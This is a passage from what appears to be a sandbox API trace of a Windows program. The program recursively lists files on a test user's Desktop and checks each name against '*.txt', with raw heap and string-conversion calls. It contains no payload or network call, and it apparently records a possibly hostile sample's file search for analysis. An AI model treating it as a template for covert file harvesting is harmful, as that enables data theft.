ftLastWriteTime.dwLowDateTime=0xdedaeb90, ftLastWriteTime.dwHighDateTime=0x1d7aee2, nFileSizeHigh=0x0, nFileSizeLow=0x7e9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="gKYuSUka3xSoq c.swf", cAlternateFileName="GKYUSU~1.SWF")) returned 1 [0146.251] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.251] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.251] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="gKYuSUka3xSoq c.swf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\gKYuSUka3xSoq c.swf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\gKYuSUka3xSoq c.swf" [0146.251] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.251] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.251] lstrcatW (in: lpString1="\\", lpString2="gKYuSUka3xSoq c.swf" | out: lpString1="\\gKYuSUka3xSoq c.swf") returned="\\gKYuSUka3xSoq c.swf" [0146.252] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604e8 [0146.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\gKYuSUka3xSoq c.swf", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0146.252] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x33) returned 0x2360560 [0146.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\gKYuSUka3xSoq c.swf", cchWideChar=51, lpMultiByteStr=0x2360560, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\gKYuSUka3xSoq c.swf", lpUsedDefaultChar=0x0) returned 51 [0146.252] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba660 [0146.252] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360560 | out: hHeap=0x2360000) returned 1 [0146.252] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.252] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.252] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236abe8 [0146.252] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236abe8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.252] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236abe8 | out: hHeap=0x2360000) returned 1 [0146.252] PathMatchSpecW (pszFile="gKYuSUka3xSoq c.swf", pszSpec="*.txt") returned 0 [0146.252] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba660 | out: hHeap=0x2360000) returned 1 [0146.252] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2508dd60, ftCreationTime.dwHighDateTime=0x1d7addb, ftLastAccessTime.dwLowDateTime=0x90e93950, ftLastAccessTime.dwHighDateTime=0x1d7adf7, ftLastWriteTime.dwLowDateTime=0x90e93950, ftLastWriteTime.dwHighDateTime=0x1d7adf7, nFileSizeHigh=0x0, nFileSizeLow=0xe1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="h5qh6eqm.pdf", cAlternateFileName="")) returned 1 [0146.252] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.252] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.252] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="h5qh6eqm.pdf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\h5qh6eqm.pdf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\h5qh6eqm.pdf" [0146.252] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.252] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.252] lstrcatW (in: lpString1="\\", lpString2="h5qh6eqm.pdf" | out: lpString1="\\h5qh6eqm.pdf") returned="\\h5qh6eqm.pdf" [0146.252] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604e8 [0146.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\h5qh6eqm.pdf", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0146.253] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2c) returned 0x2360550 [0146.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\h5qh6eqm.pdf", cchWideChar=44, lpMultiByteStr=0x2360550, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\h5qh6eqm.pdf", lpUsedDefaultChar=0x0) returned 44 [0146.253] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x33400d0 [0146.253] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360550 | out: hHeap=0x2360000) returned 1 [0146.253] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.253] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.253] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ac18 [0146.253] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236ac18, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.253] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac18 | out: hHeap=0x2360000) returned 1 [0146.253] PathMatchSpecW (pszFile="h5qh6eqm.pdf", pszSpec="*.txt") returned 0 [0146.253] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.253] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc36ad160, ftCreationTime.dwHighDateTime=0x1d7ae3b, ftLastAccessTime.dwLowDateTime=0x92e3c080, ftLastAccessTime.dwHighDateTime=0x1d7b00a, ftLastWriteTime.dwLowDateTime=0x92e3c080, ftLastWriteTime.dwHighDateTime=0x1d7b00a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hf4qcXfqlQUQtaJUeRB3", cAlternateFileName="HF4QCX~1")) returned 1 [0146.253] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.253] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.253] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.253] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.253] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.253] lstrcatW (in: lpString1="\\", lpString2="Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.253] lstrcmpW (lpString1="Hf4qcXfqlQUQtaJUeRB3", lpString2=".") returned 1 [0146.254] lstrcmpW (lpString1="Hf4qcXfqlQUQtaJUeRB3", lpString2="..") returned 1 [0146.254] lstrcpyW (in: lpString1=0x19c9ac, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.254] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\*.*" [0146.254] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\*.*", lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc36ad160, ftCreationTime.dwHighDateTime=0x1d7ae3b, ftLastAccessTime.dwLowDateTime=0x92e3c080, ftLastAccessTime.dwHighDateTime=0x1d7b00a, ftLastWriteTime.dwLowDateTime=0x92e3c080, ftLastWriteTime.dwHighDateTime=0x1d7b00a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8825b0 [0146.254] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.254] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.254] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\." [0146.254] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.254] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.254] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="." | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\.") returned="\\Hf4qcXfqlQUQtaJUeRB3\\." [0146.254] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0146.254] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc36ad160, ftCreationTime.dwHighDateTime=0x1d7ae3b, ftLastAccessTime.dwLowDateTime=0x92e3c080, ftLastAccessTime.dwHighDateTime=0x1d7b00a, ftLastWriteTime.dwLowDateTime=0x92e3c080, ftLastWriteTime.dwHighDateTime=0x1d7b00a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.254] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.254] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.254] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\.." [0146.254] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.254] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.254] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2=".." | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\..") returned="\\Hf4qcXfqlQUQtaJUeRB3\\.." [0146.255] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0146.255] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0146.255] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddda2880, ftCreationTime.dwHighDateTime=0x1d7ace1, ftLastAccessTime.dwLowDateTime=0x68d42070, ftLastAccessTime.dwHighDateTime=0x1d7ad6a, ftLastWriteTime.dwLowDateTime=0x68d42070, ftLastWriteTime.dwHighDateTime=0x1d7ad6a, nFileSizeHigh=0x0, nFileSizeLow=0x1db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4W5ZA5pn.mkv", cAlternateFileName="")) returned 1 [0146.255] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.255] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.255] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="4W5ZA5pn.mkv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\4W5ZA5pn.mkv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\4W5ZA5pn.mkv" [0146.255] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.255] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.255] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="4W5ZA5pn.mkv" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\4W5ZA5pn.mkv") returned="\\Hf4qcXfqlQUQtaJUeRB3\\4W5ZA5pn.mkv" [0146.255] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23604e8 [0146.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\4W5ZA5pn.mkv", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0146.255] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x41) returned 0x33400d0 [0146.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\4W5ZA5pn.mkv", cchWideChar=65, lpMultiByteStr=0x33400d0, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\4W5ZA5pn.mkv", lpUsedDefaultChar=0x0) returned 65 [0146.255] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362ba0 [0146.255] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.255] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.255] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.255] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236abb8 [0146.255] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x236abb8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.255] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236abb8 | out: hHeap=0x2360000) returned 1 [0146.255] PathMatchSpecW (pszFile="4W5ZA5pn.mkv", pszSpec="*.txt") returned 0 [0146.255] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362ba0 | out: hHeap=0x2360000) returned 1 [0146.255] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e0b410, ftCreationTime.dwHighDateTime=0x1d7ab6d, ftLastAccessTime.dwLowDateTime=0xf9aa46a0, ftLastAccessTime.dwHighDateTime=0x1d7acd0, ftLastWriteTime.dwLowDateTime=0xf9aa46a0, ftLastWriteTime.dwHighDateTime=0x1d7acd0, nFileSizeHigh=0x0, nFileSizeLow=0x126ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gt0E_1l d.mkv", cAlternateFileName="GT0E_1~1.MKV")) returned 1 [0146.255] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.255] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.255] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="Gt0E_1l d.mkv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\Gt0E_1l d.mkv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\Gt0E_1l d.mkv" [0146.256] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.256] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.256] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="Gt0E_1l d.mkv" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\Gt0E_1l d.mkv") returned="\\Hf4qcXfqlQUQtaJUeRB3\\Gt0E_1l d.mkv" [0146.256] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23604e8 [0146.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\Gt0E_1l d.mkv", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0146.256] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x42) returned 0x33400d0 [0146.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\Gt0E_1l d.mkv", cchWideChar=66, lpMultiByteStr=0x33400d0, cbMultiByte=66, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\Gt0E_1l d.mkv", lpUsedDefaultChar=0x0) returned 66 [0146.256] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362e08 [0146.256] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.256] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.256] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.256] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236abb8 [0146.256] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x236abb8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.256] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236abb8 | out: hHeap=0x2360000) returned 1 [0146.256] PathMatchSpecW (pszFile="Gt0E_1l d.mkv", pszSpec="*.txt") returned 0 [0146.256] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362e08 | out: hHeap=0x2360000) returned 1 [0146.256] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x888af380, ftCreationTime.dwHighDateTime=0x1d7a9c8, ftLastAccessTime.dwLowDateTime=0xe8bdb7f0, ftLastAccessTime.dwHighDateTime=0x1d7afc3, ftLastWriteTime.dwLowDateTime=0xe8bdb7f0, ftLastWriteTime.dwHighDateTime=0x1d7afc3, nFileSizeHigh=0x0, nFileSizeLow=0x5d17, dwReserved0=0x0, dwReserved1=0x0, cFileName="gxCLkfF5FMxOhrIJ.odp", cAlternateFileName="GXCLKF~1.ODP")) returned 1 [0146.256] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.256] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.256] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="gxCLkfF5FMxOhrIJ.odp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\gxCLkfF5FMxOhrIJ.odp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\gxCLkfF5FMxOhrIJ.odp" [0146.256] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.256] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.256] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="gxCLkfF5FMxOhrIJ.odp" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\gxCLkfF5FMxOhrIJ.odp") returned="\\Hf4qcXfqlQUQtaJUeRB3\\gxCLkfF5FMxOhrIJ.odp" [0146.256] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23604e8 [0146.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 